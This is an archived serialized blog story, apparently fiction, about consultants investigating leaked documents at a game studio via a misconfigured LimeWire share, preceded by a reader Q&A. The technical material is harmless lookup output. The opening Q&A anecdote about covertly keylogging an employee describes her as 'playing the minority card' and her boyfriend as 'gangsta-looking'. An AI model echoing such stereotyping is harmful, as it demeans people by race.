Answer: Ho, boy. We have had some doozies. I have to save some of these for the book, but I’ll share a quick summary of one. Scrap and I were tasked with investigating a bookkeeper who was ‘cooking the books’ at a consulting firm. The partners knew she was doing it, but they couldn’t prove it with hardcore evidence. There were other complications: she was a minority, and played the minority card at every opportunity. The partners knew that unless they had a smoking gun, she would retain a lawyer and quite possibly put their consulting firm out of business. Scrap and I set up video surveillance, key-logged her workstation, and made nightly visits to the office to make forensic copies of her workstation’s hard drive. One night while we were in the middle of an imaging session (we’re talking 11PM at night), she visits the office with her 300-lb gangsta-looking boyfriend. When she saw what we were doing, we had to think quick. We passed ourselves off as computer repair people. She wasn’t buying it. Homeboy had a gun stuck in the front of his trousers. (I’d like to point out that neither I nor Scrap have ever carried a weapon while consulting.) Scrap managed to distract them with some banter while I dialed one of the partners on my cell phone and left the line ‘open’ praying to all hell that he’d answer and know what I was doing. I lucked out - he figured it out and raced to the office. The rest of the story? Well, you’ll have to keep reading the blog. =) I have never had my life threatened, however Scrap has - twice. Maybe you’ll all understand why he disguises his voice on the podcasts now.

Case asks a fantastic question: _In Leaky Leaf IX the Chief wrote about running an nslookup on the IP address found in the Limewire log:

scraptop:~ scrap$ nslookup 64.xx.xx.xx Server: 10.0.1.9 Address: 10.0.1.9#53 Name: xx-xx-xx-64.gamersbeatches.net

Chief, although we see in the end that you verified the gamersbeatches.net connection with the corroberating e-mail evididence, were you ever concerned that TreeSoft’s nameserver had been altered and was fed you a red herring? Do you ever double-check lookups by using non-internal nameservers?_

Answer: It is part of our standard procedure to never trust a DNS server on a local net. Ever. I suppose I could have mentioned this as another lesson in the story - and I’m going to add this to my lessons to add to a future case file. In this circumstance, Scrap used a web browser and verified the DNS response with a well known lookup service. =)

Charlene asks: _One thing I’d like to know. I’ve tried to figure out what was one of the first virii in existance.

I helped clean up one on a CDC 6400 back around 1978._

Answer: Wow! A CDC 6400? I’ve only read about them in books. =) To answer your question, I would like to refer you to The Computer Virus Timeline at infoplease.com. I’m not sure I could post a better answer than what you’re going to read there. For those of you that haven’t seen this - it starts in 1949!!!

I hope you’ve enjoyed this Q/A session. Please, post more questions as comments to this blog entry - you just might get an answer!

Next up - The Conclusion to Lascivious Lawyer !

~ Chief

27005-060329-187187-97 Rate content: https://web.archive.org/web/20140910134117/http://esbn.org/esbn/verify.asp?id=2700506032918718797&rate=yes https://web.archive.org/web/20140910134117/http://esbn.org/esbn/verify.asp?id=2700506032918718797&rate=no

Source: archived original

Part III · Jan 31, 2006

The next morning was my introduction to the wonderful world of Treesoft.

“Where did these guys find their lawyers, Microsoft?” I wondered to myself quietly as I scanned several sheets of 8 1/2" by 11" paper with my newly-caffeinated eyes. Scrap and I were seated in a small conference room at Treesoft filling out non-disclosure agreements. Scrap was taking an extraordinary amount of time reviewing the last few paragraphs on the second page of the NDA.

“These guys are pretty serious, man.” Scrap said pointing to a paragraph under his thumb that read:

**“You acknowledge and agree that due to the unique nature of the Proprietary Information, any breach of this agreement would cause irreparable harm to Company for which damages are not an adequate remedy and that Company shall therefore be entitled to equitable relief in addition to all other remedies available at law.” **

I reviewed the paragraph out loud, and then sauntered back towards the beginning of page one.

“Scrap, this is the same NDA that Treesoft employees sign. Interesting.”

We had barely finished signing and dating the documents before Treesoft’s General Counsel, Ed Notincourt, appeared at the doorway.

“Guys, I have the executive staff assembled next door. Everything okay with the agreements? You ready?”

I handed Ed our documents as we left the conference room and rounded a sharp corner hallway into a much larger conference room.

The conference room was well lit and equipped with every type of presentation equipment imaginable. The executives stood up from behind their side of the large conference room table and we exchanged handshakes and business cards.

“Welcome, Chief! Your associate advised us that you would be joining us due to the recent events.” said a very well-dressed man who identified himself as Pete Warginoff, the President and Chief Executive Officer of Treesoft.

“Thank you. I’ve had a change to catch up with Scrap and review the Treesoft documents that were sent to you. These appear to be rather sensitive in nature.” I replied as I took my seat. “How can we be of assistance?”

Pete motioned to the casually-dressed gentleman sitting to his left, John Smackoff. John was one of the original founders of Treesoft and needed no introduction to anyone that had played a Treesoft title in the past five years. He had an almost religious following amongst some hardcore gamers.

“Chief, I’ve helped build Treesoft into the company that it is today. We started as two people working in my apartment years ago. I have made sure that any employee of Treesoft has a vested interest in the success of our titles and this company. It upsets me greatly to know that an outsider, or perhaps an insider, has passed these documents outside of our company at such a critical path in our future.”

Ed cleared his throat removed his gold-rimmed glasses from his face. “We are in active negotiations with Majorcorp to be purchased very soon. The purchase would greatly benefit every employee of Treesoft, as they are all private shareholders of this company. It is our collective belief that someone gained access to our equipment and removed this information with the sole purpose of derailing this acquisition. The timing is just too coincidental to be anything else. We want you to follow-through with what Scrap had originally planned on doing; a risk assessment of our assets. However, we want you to expand this into a full investigation of how the information was retrieved, who retrieved it, and what their true motivation was.”

I was scribbling on my notepad in a ferocious manner while trying to maintain eye contact with the executive team. I was hoping that none of them noticed how many times my pen had wandered off of my notepad and marked on their very expensive looking conference room table. Whoops.

The last remaining executive leaned forward in his chair and peered at me over the large smile that had engulfed the lower part of his face. Dave McEww was the Chief Financial Officer of Treesoft, and apparently spent a lot of his salary on haircare products.

“I’m going to send an email to our staff letting them know that you are here as part of the Majorcorp acquisition. You have full access to our resources. If at any time you run into resistance or have any questions, please let me know and I’ll take care of you personally.”

Somehow, that didn’t make me feel any better. Dave was putting off a serious used-car salesman vibe.

“Thanks Dave. We’re going to use a ‘closing net’ process. This means that we’re going to start at the physical and electronic perimeters of your facility and network, and then move inward. We will provide you with daily status updates.” Scrap said, almost as if he just woke up from a long nap.

Our meeting was interrupted by a knock at the conference room door. An attractive young woman entered the room and presented Pete with a document as she whispered in his ear and left as quickly as she entered. Pete’s executive smile turned into a “we’re all out of hazelnut creamer” frown as he slid the paper across the table to me.

It would appear that the stolen document count was now up to six.

Source: archived original

Part IV · Feb 9, 2006

The sixth document appeared to be an ‘open issues’ list with Treesoft’s next big title called “GLOOM”. John motioned to me to pass the document to him.“This is amazing. Our dirty laundry is getting aired out in the backyard of the internet.” John said with an apathetic sigh.

“John, have you or any other member of the management team interviewed your employees regarding the documents? Perhaps a disgruntled employee is slowly releasing these documents in an effort to draw attention to problems within the company?” I asked.

John looked like I had called his mother a moose.

“That’s ridiculous! We have a pretty tight-knit group here. If there were internal issues, someone would bring them to my attention. We are very employee friendly here. What hurts one of us hurts all of us.” John said in a harsh tone.

Scrap and I excused ourselves from the meeting after discussing some logistical issues with the management team and retreated to the conference room to grab our stowed gear.

“All we need now is a tent.” Scrap joked as he unpacked our equipment bags in the last remaining empty office at Treesoft. John had arranged for us to set up shop in an office near the development team.

Our first goal in this investigation was to isolate and contain the breach, if it existed. Scrap had provided me with a diagram of the Treesoft network to assist in my planning.

“According to this diagram, this network is very simple. There is a single connection to the internet via a high speed DSL connection. There is one router, one firewall, and a single core ethernet switch with multiple ethernet blades.” I said as I traced my finger along the surface of the Visio document.

Scrap passed me another piece of paper filled with his monkey-scratch scribbling. “Correct, and they are using a NAT scenario to route two RFC-1918 address spaces; 10.0.1.0 and 10.0.2.0. All servers and a few workstations have static addresses on 10.0.1.1-10.0.1.128, and 10.0.1.129-10.0.1.254 and all of 10.0.2.0 appear to be DHCP.”

“Alright, Scrap. We’re closing the ’net’ from the outside to the inside. What’s your suggested plan of action?” I asked, testing Scrap’s knowledge of our established procedures.

“First, I’m finding out what that attractive girl’s name is that brought Peter that sixth document a few minutes ago. Secondly, I’m going to get her phone number. Thirdly, I’m going to …”

“Scrap.” I said, cutting him off in mid-sentence. “The network.”

Scrap regained his composure. “Oh, right. The network. Locate all points of egress and ingress, attach a capture box to each point, assess the security of those points with the usual tools. Work backwards from the internet into the network, device by device. Sound like a plan?”

“Correct. We need to go all the way back and hit every server, network device, workstation… basically everything with an IP address. Then what?” I queried.

“I reverse direction, and work from the inside to the outside. What is this, a quiz?” Scrap snapped back as he emptied the last of our equipment bags.

“Just a refresher. I’m going to start my examination of the documents and perform the employee interviews. If you forget how to use nmap, just give me a call.” I said with a grin.

Scrap wasn’t amused.

I wandered over to the employee break room with my Powerbook and spied a fresh pot of coffee brewing.

“What timing.” I joked as I poured a fresh cup of coffee into a nearby styrofoam cup.

I opened up the lid to my Powerbook, entered my password and my desktop sprang to life. Peter had mentioned to me earlier that his assistant, Chandra, would be emailing a zip file containing all six documents. I appreciated that, but I wanted to grab the documents directly from the FFS site.

I scored a break room table near a wall which had an easily accessible network connection marked “Employee Use Only”. Ed had given us permission to attach whatever devices were necessary to complete this investigation, and by Joe my Powerbook was one of those devices.

After receiving a 10.0.2.x IP address from the network, I was able to access the internet.

“Ok, so I’m a nosey customer, and I want to research Treesoft. Hello, Google!” I said to myself as my copy of Firefox appeared. I typed in “Treesoft” into the Google search field and immediately received several thousand hits. Most of the search returns were web pages from Treesoft’s own website, game review sites, game retailers, and discussion boards.

Thirty minutes later, I saw them.

Source: archived original

Part V · Feb 13, 2006

I located all six documents on FFS’s site. There was no posting time, no poster identification, and nothing else to isolate who could have uploaded these files. I was treated to lots of ads for adult entertainment sites, gambling sites, and cheap pharmaceuticals. “Great.” I thought. “I get the same offers in my spam folder.”

I clicked on the first download link to download document number one, which was the Microsoft Word memo from Dave to the entire Treesoft staff.

** Your download will start in thirty seconds. Registered, paid members don’t have to wait! Click here to join today for only $15US a month! **

I had plenty of coffee left and a few minutes to kill. They weren’t getting my $15.

After going through the same process for the other five documents, I had them neatly arranged in a folder on my Powerbook. I immediately opened up Disk Utility and made a read-only disk image of this folder. I wanted to work with these files in the exact state that I found them.

I had two Microsoft Word documents and four ASCII text files. I dumped the metadata from the Microsoft Word documents first :

_ Document was created on Windows. Created : MS Word Revised : MS Word Last Author(s): 1 * CS * 2 * CS * 3 * CS * Summary Information Title : Memo Subject : Authress : EN LastAuth : CS RevNum : 4 AppName : Microsoft Word Created : 01.05.200x, 09:18:00 Last Saved : 01.06.200x, 11:33:00 Last Printed : 01.06.200x, 11:33:00 Document Summary Information Organization : Treesoft Games _

The second Word document had very similar Metadata. I identified CS as being Chandra Smith, Peter’s administrative assistant and EN as being Ed Notincourt.

Not a whole lot to go on here.

The three text files of source code appeared to have each line terminated by the familiar ^M control character. Interesting.

BEEP

My trusty Palm Treo alerted me to my first round of employee interviews that started in five minutes. I quickly packed up my Powerbook and headed towards a small conference room located near the administration side of the building.

When I conduct interviews in a company, I prefer to start with the ’lowest hanging fruit’. My first twenty interviews were with the the twenty newest employees to the company. None of these interviews were very productive towards establishing new leads for our case. Well, until I talked to my next interviewee; a developer named Eric ManDitt.

The following is a transcript from the last half of that interview:

_ Chief: Eric, I’m going to show you six documents that have been distributed outside of the company. These documents contain confidential information that has been leaked to unauthorized persons.

Eric: Okay.

Chief: These first two documents are company memos. Look familiar?

Eric: Um, well the first time I saw them was when they were posted to a couple of game sites. I’m too low on the food chain to get stuff like that.

Chief: Fair enough. How about this one? It discusses the schedule of the game you’re working on.

Eric: That’s familiar. Yes.

Chief: And these snippets of source code. These are from the game you are coding, right?

Eric: Yep. I guess. _

At this point, Eric was in deep thought and not really paying attention to my probing questions. He had ’the look’, which is usually an indicator that he had something to share.

_ Chief: Eric, is anything wrong?

Eric: No, not really. It’s just kind of weird I guess.

Chief: Weird? What? How?

Eric: Um, well my team would have the necessary access to that source code, but the only person on my team that would have those memos and the project schedule would be our lead programmer, Sven Svenson. It’s probaby just a coincidence. _

Coincidence, indeed.

Source: archived original

Part VI · Feb 17, 2006

My eyes were killing me. I had just finished up a marathon of interviews with Treesoft employees and was wandering back to my makeshift headquarters in an empty office. “Yo.” said a familiar voice behind me. Scrap entered the office with two venti cups of Starbucks pleasure. “You look like you need a date with the bean queen.”

“You could say that.” I mumbled. “Dude, I have never seen a company that employs so many robots. These people literally come to work each day, do their job, go home late, and don’t really socialize that much. The newest employees were quite friendly, the veterans were very dry.”

Scrap smiled. “So much for that culture of caring, eh?”

I noticed that Scrap had plugged his trusty Scraptop into the network and was busily looking through scrolling network traffic.

“You got something?”

Scrap seemed to not hear me. A few moments later he glanced up from his Scraptop.

“I’m trying like hell to figure out their network security policy here. It’s not documented at all. If you look at the firewall rules, they block everything on the ingress, but don’t block anything from the egress. However, they do use a smart proxy on ports 80 and 443 to track web usage.” Scrap said, tapping his pen on the desk in front of him.

“Does the firewall do any port logging in ‘ACCEPT’ mode at all? Are you telling me they could have people sending information out of the network through any port? That sucks.” I said in disgust. “If it is someone inside the network, we’re going to have a fun time proving something that happened in the past.”

Scrap sat up in his chair. “Hold on to your britches, boss. If the leakage continues, the listener box on the gateway will snag it. Maybe we just need to have some patience?”

I sipped my Starbucks and took a deep breath. For once, Scrap was telling me to calm down.

“You’re right. We wait. I have one last interview to do before we jam out of here today. Want to join me while I talk to Sven Svenson?” I asked.

“But of course.” Scrap said as we wandered down the hallway and headed towards Sven’s office.

knock knock

I knocked on Sven’s door, however Sven couldn’t hear me. His ears were covered in headphones that were pounding his brain with loud trance music.

“Sven.” I said. “SVEN SVENSON!”

Sven looked up from his keyboard and practically fell off his chair. With one swift movement, he removed the headphones from his head and stood straight up.

“Oh, hi! I am Sven. And you are?” Sven asked.

“I’m Chief, this is Scrap. We just need to ask you a few questions as part of a security risk assessment.” I replied as I glanced at the notepad in my hand.

“Sure! Okay. This is about that stuff they found on the web, right? Very bad. Very bad.” Sven said as he locked the screen on his workstation. “I was very upset to see that. My team wrote that source code, you know.”

Sven wasn’t a lot of help. Our interview established that he did have the memos stored on his workstation, and he did keep snippets of code laying around on his hard drive. All source code was kept on a CVS server, of which he was the administrator. Sven made it a point to mention several times that no programmers are allowed to email source code around, especially outside of the company.

Scrap and I returned to our temporary office to pick up our things before we headed back to the hotel. I took a moment to check my email, and Scrap was busy staring at the screen of his Scraptop again.

“Chief.”

I looked up from my Powerbook.

‘What?"

Scrap turned his laptop around. “Remember when we worked that case at that school? The kids that set up the P2P network using supposed DNS servers?”

“Yep. Why?” I asked.

Scrap pointed to an ethereal capture screen, which displayed thousands of connections between the external interface of the firewall and several unknown IP addresses.

Treesoft had some leaky leaves.

ESBN 79770-060217-996910-78

Source: archived original

Part VII · Feb 23, 2006

“They allow peer-to-peer clients on their network? Scrap, where’s the network guy? What was his name?” I asked Scrap in a machine gun fashion.“Well, boss, like I’ve been trying to say… nothing is really documented that well. The network guy, errr, Kurt is working on a dying mail server and hasn’t given me much time.” Scrap responded.

I crumpled up some fancy artwork I was drawing on my notepad and tossed the museum piece into the garbage can. “Alright, I’ll go find Kurt. Run back to the wiring closet and tap the inside interface of the firewall. I want to know what machine or machines are serving up that P2P soup. The minute you locate the machine(s), pull their plug(s).”

Scrap rubbed his hands together. “Roger that.”

I sprinted down the hall and almost ran John over.

“Woah! Chief! Something up?” John asked as he turned to walk with me.

“I need to talk to your network guy, Kurt. He really hasn’t been available much to answer our questions.” I said, almost out of breath.

John didn’t look happy. “What? I told everyone, especially Kurt, that they needed to be available. Let me take care of…”

“John, seriously… it’s okay. I’ll find him. Thanks anyway.” I said as I opened the door to Treesoft’s server room.

John’s behavior was very bipolar. One moment he was the happy company man, the next moment he was the only guy not wearing deodorant at a cocktail party full of fashion models. Strange.

I found Kurt curled up next to a large midrange server on the floor. He appeared to be locking the server’s external case and about to power the machine back up.

“Hey Kurt, all done?” I asked.

Kurt stood up and towered over me by at least a foot. The man was huge.

“Yeah, I think so. Looks like my RAID controller went south, but I’m hoping that my array is still intact. I guess I’ll find out after I hit the power button.” Kurt said as he powered up the machine.

“Kurt, real quick… Scrap found some P2P traffic between the internal Treesoft network and the internet. Do you allow P2P clients on the internal network?” I asked.

My neck was becoming stiff from looking up at Kurt, so I took a few steps back.

“P2P? Hell no. We went through this about a year ago. You found some P2P traffic? What machine is it coming from?” Kurt asked as he watched the server scroll POST messages on the server’s console screen.

“Scrap is finding that out now. Do you have a moment? We could really use your knowledge of the network.” I begged.

“YES! YES!” Kurt screamed as he slammed his huge hands together.

“Wow, I’m glad you’re excited about helping.” I laughed.

“Nah, my array is fine. Phew. There was a lot of mail on there. Okay, let’s go find your friend.” Kurt said with a grin.

We wandered down another hall and found Scrap sitting on the floor of the wiring closet, staring at his Scraptop screen.

“Yo.” I said as I walked in behind Kurt. “What do you have?”

Scrap looked up from the Scraptop.

“One internal IP address.” Scrap replied. “10.0.1.75, and I was about to see who owns that puppy!”

**scraptop:~ scrap$ nmblookup -A 10.0.1.75 Looking up status of 10.0.1.75 DELL1234 <00> - P TREESOFT <00> - P DELL1234 <03> - P DELL1234$ <03> - P SSVENSON <03> - P MAC Address = XX-XX-XX-XX-XX-XX scraptop:~ scrap$ **

Kurt did not look amused.

ESBN 91355-060223-830681-62

Source: archived original

Part VIII · Mar 2, 2006

“Sven? Sven is running P2P on MY NETWORK? Oh, let me take care of this!!!” Kurt said as he brushed by me on the way out the door.Scrap and I hustled after Kurt, fearing for Sven’s life.

Kurt made a beeline for Sven’s office, only to find an empty desk.

I glanced at my watch.

“It’s getting pretty late. Looks like we missed Sven.” I said as Kurt sat down in Sven’s chair.

“Bah, we don’t need him. So help me, if Sven has P2P software installed on this workstation I’m going to remove his hippie sandals and beat him to death with them!” Kurt said with a snarl of his lip.

Kurt wiggled Sven’s mouse, and a Windows 2000 desktop appeared on the monitor.

“Now I’m really pissed!” Kurt said. “Sven has been messing with the security settings on his workstation again. All of our workstations should lock after 10 minutes of inactivity.”

I made some notes on my notepad and watched Kurt as he maximized a Limewire client window.

“Well my friend, Mr. Sven is going to eat some sandle candy tomorrow morning.” Kurt said as he scrolled through Limewire’s library lists.

I squinted my eyes and made a cursory observation of the files that Sven downloaded. Every single file was an mp3 audio file.

“What has Mr. Sven been sharing with the rest of the internet?” Scrap asked.

Kurt fussed with Limewire’s preferences.

“Good grief.” Scrap said as he shook his head. “Almost his entire C: drive is shared out!!!”

I peered at the configuration settings. Scrap was correct. Some key folders that were shared were:

** C:\DOCUMENTS AND SETTINGS

C:\TEMP

C:\WINNT

C:\LIMEWIRE

C:\STUFF **

“Kurt, can you click on the monitor tab? Can we see what people have downloaded from Sven’s workstation?” I pleaded.

“Sure thing.” Kurt replied as he clicked on the monitor tab. A huge scrollable list of files appeared on the screen.

We were about halfway through the list, when some familiar filenames began to appear.

As sure as the satisfaction gained from a venti americano at Starbucks, the six files posted to the web were present in the list. All of them downloaded a few days before Treesoft was made aware of the breach.

“Great milking monkeys!” Scrap exclaimed as inched closer to Sven’s monitor.

“Chief, we found six documents posted out on the web. According to these upload records, I would guess that at least a hundred .txt, .rtf, .doc, .xls, and .pdf have been downloaded.”

I closed my eyes. This couldn’t get any worse.

“Uh, dudes? Did you two notice that all of these Treesoft documents were downloaded by a single IP address?” Kurt said with a grin.

A clue.

[Post your theories! ~ Chief]

Also, please vote for me here, and next week we’ll be celebrating monkey style! (And no, I don’t mean hanging by our tails and flinging poo!)

ESBN 57021-060302-487343-27 Rate content: https://web.archive.org/web/20140910120053/http://esbn.org/esbn/verify.asp?id=5702106030248734327&rate=yes https://web.archive.org/web/20140910120053/http://esbn.org/esbn/verify.asp?id=5702106030248734327&rate=no

Source: archived original

Part IX · Mar 7, 2006

I was scribbling notes onto my notepad faster than Scrap writing phone numbers down at a singles convention. “Interesting. One IP address downloaded all of our ‘interesting’ documents, and they were all downloaded within about a sixty minute period of time on the same day.” I noted. “Looks like somebody found what they wanted.”

Scrap wrote the IP address on his monkey paw with an ink pen and disappeared down the hall.

“Kurt, how much of a problem have you been having with P2P software on the network? Have you considered changing the security posture of the firewall to, you know, block outgoing traffic on non-proxied ports?” I asked as I snapped a couple of photos of Sven’s desktop and his limewire configuration.

Kurt took a deep breath. Evidently I had hit a sore spot.

“Chief, you should have been here a year ago when I was hired. It was a zoo! Everyone had whatever they wanted on their workstations, there were almost no security controls in place. A large percentage of the programming staff had P2P stuff running day and night on their machines. When you have a small pipe to the internet like we have here, that slows up everything. Sven, here, was one of the worst offenders.” Kurt said as he pointed to a picture of Sven on the far wall. “He’s a damn good programmer, but has a thing for authority. Ironic that they made him a manager.”

“Indeed.” I agreed. “So you’re controlling the installation of unauthorized software by corporate policy? No controls on the desktop?”

“Yep. I tried to lock them down the Microsoft-recommended way, however the programmers install/uninstall stuff off their workstations all the time. I gave up. I talked to John and Peter one day and they decided to go on the honor system. You see how far that’s gotten us.” Kurt lamented.

I smiled. “Kurt, you’re a systems administrator. You’re never going to be able to make every user happy every day. It’s impossible.” Of course, when your sysadmin is as large as Kurt, you’re lucky when you don’t get pounded into paste after doing something stupid.

“Thanks. I need to head home and feed my cats. Here’s my cell number if you guys need anything.” Kurt said as he offered me his business card.

I made my way towards our ‘base camp’ of an office. Two bankers boxes of HR records greeted me as I unlocked the door.

“And I was worried about not having any bathroom reading later.” I chuckled to myself.

I dove into the HR records and selected Sven’s personnel record. Amazingly enough, Sven didn’t have a single disciplinary action form in his file. It would appear that his earlier P2P misconduct was forgiven with a verbal warning. As a matter of fact, I didn’t find a single disciplinary action form in any of the employee files.

“Now THAT is a first.” I said as I dropped the last record back into the box. I found nothing to help me generate a motive for the leaked information.

Frustration began to set in.

I was temporarily distracted from my unhappiness by Scrap’s footsteps running down the hall and landing in our office.

Scrap was out of breath.

“Chief… you… aren’t… going to… believe… this.” Scrap panted.

“What, that you need to cut down on the Newports?” I responded.

“No dammit, look at this!!” Scrap said as he handed over his Scraptop.

** scraptop:~ scrap$ nslookup 64.xx.xx.xx Server: 10.0.1.9 Address: 10.0.1.9#53 Name: xx-xx-xx-64.gamersbeatches.net

scraptop:~ scrap$ whois gamersbeatches.net Registrant: GAMERSBEATCHES.NET Entertainment, Inc (DOM-XXXXX) 12351 Third Circle San Francisco CA 94XXX US **

“Gamersbeatches.net? Scrap, aren’t those the guys that were almost bought by Majorcorp a year ago?” I asked as I reached for my Powerbook to do some research.

Scrap was still panting. “I… know… that’s why… I wanted… to show you… this.”

I brought up Google and quickly searched for several articles on the thwarted purchase of gamersbeatches.net by Majorcorp.

Scrap was busy hacking up a lung.

“That’s it! That’s right. These guys were knee deep in negotiations and the due diligence caved in on GB. They weren’t nearly as valuable as they claimed to be. They went from a game developer to a gaming news site.” I exclaimed as I grinned ear to ear.

Scrap had blown the case wide open.

67413-060307-591271-38 Rate content: https://web.archive.org/web/20140901135625/http://esbn.org/esbn/verify.asp?id=6741306030759127138&rate=yes https://web.archive.org/web/20140901135625/http://esbn.org/esbn/verify.asp?id=6741306030759127138&rate=no

Source: archived original

Part X · Mar 9, 2006

I couldn’t sleep a wink. Scrap and I were up late theorizing about the connection between gamersbeatches.net and Treesoft.Was this just a coincidence that Sven’s P2P application shared information that was sensitive to Treesoft? Was it a coincidence that someone at GB just happened to do a keyword search for items that turned up on Sven’s drive? If there was an insider at Treesoft trying to do the company in, why not just email the documents home or steal them on a thumb drive? Why go through all this hassle?

Scrap had fallen asleep on the floor of my hotel room and, as usual, was snoring louder than Delta Burke on a lazy Sunday afternoon.

I closed my eyes and struggled to get a few hours sleep. The facts of the case were whipping around in my brain so fast that my eyes were rotating in their sockets. Had I missed a clue? Had I overlooked an obvious fact? Was I making ridiculous assumptions?

“Screw this.” I said as I rolled off of my bed and nearly stepped on the Scraptop, perched carelessly on the floor. A quick glance at the clock revealed the time to be 0600 hours.

It was coffee time.

I grabbed my notepad and Powerbook and jumped in the elevator. I was a short walking distance from the temple of the brewed brown bean.

My eyes started to rotate again. The thoughts returned.

I had missed something.

Minutes later I was rushing back up the elevator, laptop bag slung over my shoulder and two venti coffees in my hands.

“Scrap! Scrap! Wake up and clean up. We need to drive over to Treesoft first thing.” I said as I handed Scrap his coffee.

Scrap rubbed his eyes. “Dude, I had the weirdest dream. I dreamt that Barbie from our Minotaur case was washing my car and eating a hamburger at the same time…”

I really should work alone.

Several hours later we finally arrived at Treesoft HQ. I unlocked our office door and threw one of the banker’s boxes of records at Scrap.

“What gives?” Scrap complained. “Did you switch to espresso or something? Calm down!”

His comments were a whisper. I had zeroed in on the bankers box that I wanted and was feverishly going through all of the current employee records again, one by one.

“You want me to go interview Sven when he gets in? You look a little psycho.” Scrap said.

“What?” I snapped back.

“Preoccupied! You look preoccupied.” Scrap responded, correcting himself accordingly.

“Fine.” I said as I waved him back out the door. I had found what I was looking for.

Scrap entered Sven’s office to a familiar sight. Sven was staring deep into his monitor, trance music beating into his ears via headphones.

“Yo.” Scrap said as he waved his monkey paws in front of Sven’s face.

Sven jumped. Again.

“Scrap! Scrap! Hey, I’m glad you’re here. Check out this wicked piece of japanese anime I snagged from some dude!” Sven said as restored a minimized media player window.

“Sven, what gives with the Limewire window? I talked to Kurt last night and he said that P2P software is banned here.” Scrap asked in a most sincere voice.

“Aw, Kurt is so anally-retentive about this network. I bet he burps up pearls. I just turn it on for searches. Okay, here’s the video!” Sven said as he maximized the video window.

“Seriously man, can I ask you what directories you have shared on your machine?” Scrap queried.

Sven looked confused.

“Uh, my ‘stuff’ directory. That’s all I ever share out. Check it out, I have movies, music, some cool pictures of sheep …”

Scrap ran around third base and aimed for home. “Sven, can you bring up your preferences in Limewire?”

Without a flinch, Sven clicked through menu options.

“Ya, and?” Sven asked.

Scrap reached towards the sky with his monkey paw and scratched his head.

The only directory shared was C:\STUFF.

98078-060309-897911-68 Rate content: https://web.archive.org/web/20140910142203/http://esbn.org/esbn/verify.asp?id=9807806030989791168&rate=yes https://web.archive.org/web/20140910142203/http://esbn.org/esbn/verify.asp?id=9807806030989791168&rate=no

Source: archived original

Part XI · Mar 14, 2006

“I swear, I don’t know. I seriously do not know.” Sven stammered as he made eye contact with everyone in the conference room.I was playing my hand forward and had decided to conduct an interview with Sven. Scrap and Ed were present in the room, carefully taking notes of the discussion.

“Well, I’m a bit confused Sven. Last night your workstation was unlocked, limewire was running and sharing very sensitive company files, and you don’t seem to know anything about this?” I asked as I slid a few photos of Sven’s desktop toward him.

Sven examined the photos carefully. His hands were shaking, and his face clearly showed a state of befuddlement.

“Chief, you have to believe me. I know that P2P was banned on the network. I know I shouldn’t have disabled the screen lock on my workstation. I most certainly know to never share directories with sensitive stuff in them! I have this exact limewire configuration on my home computer. I only share one directory, and that directory is full of pictures, movies, and other fun things.” Sven said.

I stopped my pacing around the room and took a seat directly across from Sven.

“Sven, let’s assume that you’re telling the truth about this obvious violation of company policy for a moment. Put on your detective hat. If you didn’t start that limewire session with the modified sharing preferences, who did? What is their motive? Clue us in here.” I said in a calm voice.

Sven started looking at the floor. You could almost hear the squeaking noise from the hamster running around on their wheel inside his head.

“I really try to follow John’s philosophy of ’everyone for the company, the company for everyone’. I haven’t made any enemies here, and if I have it was completely unintentional.”

Ed leaned towards me in his chair and slid a file folder towards me. I was puzzled that Ed chose this time to provide me with more reading material. Scrap sensed that this material was important and proceeded to ask Sven some technical questions about other possible workstation safeguards that Sven had disabled.

With Scrap providing cover, I opened the folder and found a stack of door reports for the Treesoft HQ building. I scrolled down the report for yesterday, and found several interesting entries.

**17:30 - MAIN - OUT - KURT 17:45 - MAIN - IN - CONTRACT - CLEAN1 17:47 - MAIN - IN - CONTRACT - CLEAN2 19:30 - MAIN - OUT - CONTRACT - CHIEF 19:30 - MAIN - OUT - CONTRACT - SCRAP 20:15 - MAIN - OUT - ERIC 21:30 - MAIN - OUT - CONTRACT - CLEAN1 21:32 - MAIN - OUT - CONTRACT - CLEAN2 **

I closed the folder and peered over at Scrap. Scrap knew what this look meant, and ended his questioning of Sven.

It was time to play an ace that I had tucked into my monkey fur.

“Sven, tell me about your relationship with one of your programmers - Eric Manditt.” I queried, careful to watch for a reaction.

“Eric? Eric. Yes, we have a history. Eric and I worked together in the past on a lot of games. I wouldn’t say that we are friends in a social sense, but we work well here at Treesoft.”

“Sven, didn’t you and Eric apply for the same job at Treesoft?” I asked, again looking for a reaction.

Sven seemed puzzled at my questions.

“No, no we did not. Well, wait. That is complicated. We both applied for programming positions. We were both hired as programmers. A few weeks after I was hired I was promoted to a management position of ’team lead’ which was a serious horizontal promotion, if you know what I mean.” Sven replied.

“And how has Eric taken to the role of your subordinate?” I asked.

“Okay, I guess? We have never spoken about the subject.”

I flipped over my ace.

“For the record, where did you and Eric work together before?” I inquired.

Sven’s expression changed almost immediately.

“Gamersbeatches” Sven replied.

The monkey holds a royal flush.

[Chief’s note: Ok investigators, wrap this up. Post your theories! So many of you have been so, so close!]

49941-060314-416542-20 Rate content: https://web.archive.org/web/20140910114013/http://esbn.org/esbn/verify.asp?id=4994106031441654220&rate=yes https://web.archive.org/web/20140910114013/http://esbn.org/esbn/verify.asp?id=4994106031441654220&rate=no

Source: archived original

Part XII · Mar 17, 2006

“So, boss, how are we tying this together?” Scrap asked as he reached for the salt shaker on the table. We were at a local deli digesting some wonderful sandwiches, and the morning’s events.“Lots of suspects, lots of motives, but no smoking gun. The details of our investigation have been kept pretty close to us throughout, so for the most part nobody knows all the pieces of the puzzle. This may be an opportunity for us to capitalize on their motive, and their assumption that we’re still in the dark on a number of matters.” I said with a mouthful of a french dip sandwich.

Scrap took a drink from his water bottle. “Do I smell another stakeout?”

“Could we be that lucky?” I replied with a grin. Of course we were going to do another stakeout!

Our plan was formed and agreed upon before our after-lunch coffee cups were cold.

We returned to Treesoft and initiated our trap. Scrap spent the next few hours putting together a ‘ScrapBag’, while I proceeded to interview some remaining staff. Our plan could only work if certain individuals had no idea that we were on to them.

My interviews left me fruitless, and my last appointment of the day was with Ed, the general counsel of Treesoft. It was shortly after 1630 hours, and Ed’s administrative assistant had gone for the day.

KNOCK KNOCK

I tapped on Ed’s partially open office door.

“Chief? Hey, come on in. Have a seat. I’ve been looking forward to our meeting today.” Ed said as he shook my paw.

“Thanks for taking the time to see me Ed. I wanted to update you on our progress. After our interview with Sven this morning, Scrap and I have developed a plan that I don’t want to share with you at this moment. However, I do need you to explain something to me which may help tie everything together in the end.” I stated as I sat down in a plush leather office chair.

Ed grinned from behind his glasses. “Chief, anything you need. Just ask. What can I help you with?”

